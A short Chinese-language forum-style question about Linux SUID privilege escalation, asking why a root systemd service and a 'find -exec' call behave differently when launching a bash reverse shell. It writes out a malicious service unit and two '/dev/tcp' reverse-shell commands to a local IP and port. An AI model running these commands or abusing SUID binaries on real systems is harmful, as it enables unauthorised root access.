假设/usr/bin/systemctl和/usr/bin/find具有4755 (SUID) 权限,并且有一个服务root.service通过 tcp 连接执行交互式 shell:
[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target
如果root.service作为非 root 用户执行(作为服务),则创建的交互式 shell 的用户将是 root。
但如果执行的命令是(也作为非 root 用户):
find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;
创建的交互式 shell 的用户将与执行命令的非 root 用户相同。
另一方面,如果我以非 root 用户身份执行:
find . -exec whoami \;
它将返回root。
在这两种情况下,我都假设有一个 TCP 连接在侦听指定的 IP 和端口。
我缺少一些关于find -exec功能的东西。
¿ 为什么会有这种差异?